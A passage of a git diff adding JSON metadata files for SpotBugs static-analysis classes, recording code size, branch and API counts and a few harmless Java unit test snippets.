Information/checkers/plan/ExecutionPlan.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/OrderingConstraintException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ReportingDetectorFactorySelector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/SingleDetectorFactorySelector.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdError.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/AbstractWarningProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/GeneralWarningProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/PriorityAdjustment.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningProperty.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertySet.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertyUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/BugCollectionAnalyser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Extension.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/GUIDCalculator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Invocation.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Level.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Location.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Message.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/MessageFormat.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Notification.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Placeholder.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Result.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Rule.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifBugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Stack.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Taxon.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/package-info.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/AnyTypeMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Archive.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Bag.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/BootstrapMethodsUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassName.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassPathUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/CollectionAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ContainsCamelCaseWordStringMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/DualKeyHashMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/EditDistance.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ExactStringMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FractionalMultiset.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FutureValue.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/HTML.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/JavaWebStart.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/LaunchBrowser.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MapCache.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MergeMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MethodAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiThreadedCodeIdentifierUtils.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Multiset.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MutableClasses.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NestedAccessUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NotImplementedYetException.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NullIterator.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ProfilingMapCache.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/RegexStringMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SecurityManagerHandler.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SplitCamelCaseIdentifier.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/StringMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Strings.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SubtypeTypeMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TestDesktopIntegration.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TopologicalSort.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TripleKeyHashMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TypeMatcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Util.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Values.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/WriteOnceProperties.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/AnnotationVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/BetterVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Constants2.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/DismantleBytecode.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/LVTHelper.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PreorderVisitor.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PrintClass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Util.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Churn.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CopyBuggySource.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountByPackagePrefix.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountClassVersions.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/DefectDensity.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FB.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FileBugHash.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Filter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListBugDatabaseInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListErrors.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/MineBugHistory.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ObfuscateBugs.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/PrintAppVersion.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RebornIssues.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RecursiveSearchForJavaFiles.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RejarClassesForAnalysis.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SetBugDatabaseInfo.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SourceSearcher.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TestingGround.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TreemapVisualization.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/UnionResults.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Update.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/Dom4JXMLOutput.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/MetaCharacterMap.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/OutputStreamXMLOutput.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/QuoteMetaCharacters.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLAttributeList.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutput.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutputUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLUtil.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLWriteable.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XPathFind.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/asm.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/ba.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bcel.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bugReporter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/bytecode.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/charsets.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/classfile.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/config.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/cwe.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/detect.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/filter.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/findbug.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/graph.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/internalAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/io.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/jaif.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/log.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/model.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plan.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/plugins.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/props.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/sarif.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/util.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/visitclass.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/workflow.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/xml.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/main/spotbugs-main.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Rule Information/modules/modules.json create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-checkers.py create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-groups.py create mode 100644 Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-modules.py diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AWTEventQueueExecutor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AWTEventQueueExecutor.json new file mode 100644 index 0000000..b9857cb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AWTEventQueueExecutor.json @@ -0,0 +1,13 @@ +{ + "name": "AWTEventQueueExecutor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AbstractBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AbstractBugReporter.json new file mode 100644 index 0000000..0d832bb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AbstractBugReporter.json @@ -0,0 +1,41 @@ +{ + "name": "AbstractBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 424, + "branches": 35, + "apis": 46, + "test": [ + { + "description": "verifyPriorityThresholdWorks", + "expected-problems": null, + "expected-linenumbers": [ + 58, + 68 + ], + "code": "@Test\n void verifyPriorityThresholdWorks() {\n assertReported(false, \"Normal bug report blocked on high\",\n BugRanker.VISIBLE_RANK_MAX, Priorities.HIGH_PRIORITY);\n\n assertReported(true, \"Normal bug report reported on normal\",\n BugRanker.VISIBLE_RANK_MAX, Priorities.NORMAL_PRIORITY);\n\n assertReported(true, \"Normal bug report reported on low\",\n BugRanker.VISIBLE_RANK_MAX, Priorities.LOW_PRIORITY);\n }" + }, + { + "description": "verifyRankThresholdWorks", + "expected-problems": null, + "expected-linenumbers": [ + 70, + 82 + ], + "code": "@Test\n void verifyRankThresholdWorks() {\n int bugRank = bugInstance.getBugRank();\n\n assertReported(false, \"Rank \" + bugRank + \" bug report blocked on min visible\",\n BugRanker.VISIBLE_RANK_MIN, Priorities.LOW_PRIORITY);\n\n assertReported(true, \"Rank \" + bugRank + \" bug report works on equal\",\n bugRank, Priorities.LOW_PRIORITY);\n\n assertReported(true, \"Rank \" + bugRank + \" bug report works on max visible\",\n BugRanker.VISIBLE_RANK_MAX, Priorities.LOW_PRIORITY);\n }" + }, + { + "description": "verifyRelaxedOperationWorks", + "expected-problems": null, + "expected-linenumbers": [ + 84, + 93 + ], + "code": "@Test\n void verifyRelaxedOperationWorks() {\n reporter.setIsRelaxed(true);\n assertReported(true, \"Relaxed bug reported even when it would not\",\n BugRanker.VISIBLE_RANK_MIN, Priorities.HIGH_PRIORITY);\n\n reporter.setIsRelaxed(false);\n assertReported(false, \"No report when not relaxed and blocked\",\n BugRanker.VISIBLE_RANK_MIN, Priorities.HIGH_PRIORITY);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AddMessages.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AddMessages.json new file mode 100644 index 0000000..38d7997 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AddMessages.json @@ -0,0 +1,13 @@ +{ + "name": "AddMessages", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 196, + "branches": 14, + "apis": 53, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisCacheToRepositoryAdapter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisCacheToRepositoryAdapter.json new file mode 100644 index 0000000..bd8afe7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisCacheToRepositoryAdapter.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisCacheToRepositoryAdapter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 131, + "branches": 5, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisError.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisError.json new file mode 100644 index 0000000..7bd312b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisError.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisError", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 174, + "branches": 6, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisLocal.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisLocal.json new file mode 100644 index 0000000..d2bfc3e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisLocal.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisLocal", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 4, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisOptions.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisOptions.json new file mode 100644 index 0000000..c557b99 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AnalysisOptions.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisOptions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Analyze.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Analyze.json new file mode 100644 index 0000000..fda7d38 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/Analyze.json @@ -0,0 +1,13 @@ +{ + "name": "Analyze", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 240, + "branches": 37, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AppVersion.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AppVersion.json new file mode 100644 index 0000000..99cd7b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/AppVersion.json @@ -0,0 +1,13 @@ +{ + "name": "AppVersion", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 198, + "branches": 6, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAccumulator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAccumulator.json new file mode 100644 index 0000000..1a09aeb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAccumulator.json @@ -0,0 +1,13 @@ +{ + "name": "BugAccumulator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 237, + "branches": 19, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotation.json new file mode 100644 index 0000000..a7a59d3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "BugAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 7, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationUtil.json new file mode 100644 index 0000000..018fdaa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationUtil.json @@ -0,0 +1,13 @@ +{ + "name": "BugAnnotationUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 9, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationVisitor.json new file mode 100644 index 0000000..fb25e8a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "BugAnnotationVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationWithSourceLines.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationWithSourceLines.json new file mode 100644 index 0000000..7e254c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugAnnotationWithSourceLines.json @@ -0,0 +1,13 @@ +{ + "name": "BugAnnotationWithSourceLines", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 5, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCategory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCategory.json new file mode 100644 index 0000000..dc8cb92 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCategory.json @@ -0,0 +1,13 @@ +{ + "name": "BugCategory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 171, + "branches": 6, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCode.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCode.json new file mode 100644 index 0000000..65f7615 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCode.json @@ -0,0 +1,13 @@ +{ + "name": "BugCode", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 6, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollection.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollection.json new file mode 100644 index 0000000..8869b6f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollection.json @@ -0,0 +1,13 @@ +{ + "name": "BugCollection", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 370, + "branches": 14, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollectionBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollectionBugReporter.json new file mode 100644 index 0000000..d02f1f6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugCollectionBugReporter.json @@ -0,0 +1,32 @@ +{ + "name": "BugCollectionBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 156, + "branches": 10, + "apis": 22, + "test": [ + { + "description": "reportMissingClassByClassNotFoundException", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 20 + ], + "code": "@Test\n void reportMissingClassByClassNotFoundException() {\n Project project = new Project();\n BugCollectionBugReporter bugReporter = new BugCollectionBugReporter(project);\n ClassNotFoundException ex = new ClassNotFoundException(\"Class org.example.Foo cannot be resolved.\");\n bugReporter.reportMissingClass(ex);\n SortedBugCollection bugCollection = (SortedBugCollection) bugReporter.getBugCollection();\n assertThat(bugCollection.missingClassIterator().next(), is(\"org.example.Foo\"));\n }" + }, + { + "description": "reportMissingClassByClassDescriptor", + "expected-problems": null, + "expected-linenumbers": [ + 22, + 30 + ], + "code": "@Test\n void reportMissingClassByClassDescriptor() {\n Project project = new Project();\n BugCollectionBugReporter bugReporter = new BugCollectionBugReporter(project);\n ClassDescriptor classDescriptor = DescriptorFactory.createClassDescriptorFromDottedClassName(\"org.example.Bar\");\n bugReporter.reportMissingClass(classDescriptor);\n SortedBugCollection bugCollection = (SortedBugCollection) bugReporter.getBugCollection();\n assertThat(bugCollection.missingClassIterator().next(), is(\"org.example.Bar\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugInstance.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugInstance.json new file mode 100644 index 0000000..23b0a56 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/BugInstance.json @@ -0,0 +1,104 @@ +{ + "name": "BugInstance", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 2561, + "branches": 214, + "apis": 330, + "test": [ + { + "description": "testWriteXML", + "expected-problems": null, + "expected-linenumbers": [ + 43, + 62 + ], + "code": "@Test\n void testWriteXML() throws Exception {\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 0);\n // test all PackageMemberAnnotations\n String className = \"ghIssues.issue543.ImmutableFoobarValue.class\";\n ClassAnnotation classAnnotation = new ClassAnnotation(className);\n classAnnotation.setJavaAnnotationNames(List.of(\"org.immutables.value.Generated\"));\n bug.add(classAnnotation);\n\n MethodAnnotation methodAnnotation = new MethodAnnotation(className, \"foo\", \"int\", false);\n methodAnnotation.setJavaAnnotationNames(List.of(\"org.immutables.value.Generated\"));\n bug.add(methodAnnotation);\n\n FieldAnnotation fieldAnnotation = new FieldAnnotation(className, \"foo\", \"int\", false);\n fieldAnnotation.setJavaAnnotationNames(List.of(\"org.immutables.value.Generated\"));\n bug.add(fieldAnnotation);\n\n String xml = writeXMLAndGetStringOutput(bug);\n assertThat(xml, equalTo(EXPECTED_XML));\n }" + }, + { + "description": "testPropertyIterator", + "expected-problems": null, + "expected-linenumbers": [ + 64, + 67 + ], + "code": "@Test\n void testPropertyIterator() {\n checkPropertyIterator(b.propertyIterator(), new String[] { \"A\", \"B\", \"C\" }, new String[] { \"a\", \"b\", \"c\" });\n }" + }, + { + "description": "testRemoveThroughIterator1", + "expected-problems": null, + "expected-linenumbers": [ + 69, + 73 + ], + "code": "@Test\n void testRemoveThroughIterator1() {\n removeThroughIterator(b.propertyIterator(), \"A\");\n checkPropertyIterator(b.propertyIterator(), new String[] { \"B\", \"C\" }, new String[] { \"b\", \"c\" });\n }" + }, + { + "description": "testRemoveThroughIterator2", + "expected-problems": null, + "expected-linenumbers": [ + 75, + 79 + ], + "code": "@Test\n void testRemoveThroughIterator2() {\n removeThroughIterator(b.propertyIterator(), \"B\");\n checkPropertyIterator(b.propertyIterator(), new String[] { \"A\", \"C\" }, new String[] { \"a\", \"c\" });\n }" + }, + { + "description": "testRemoveThroughIterator3", + "expected-problems": null, + "expected-linenumbers": [ + 81, 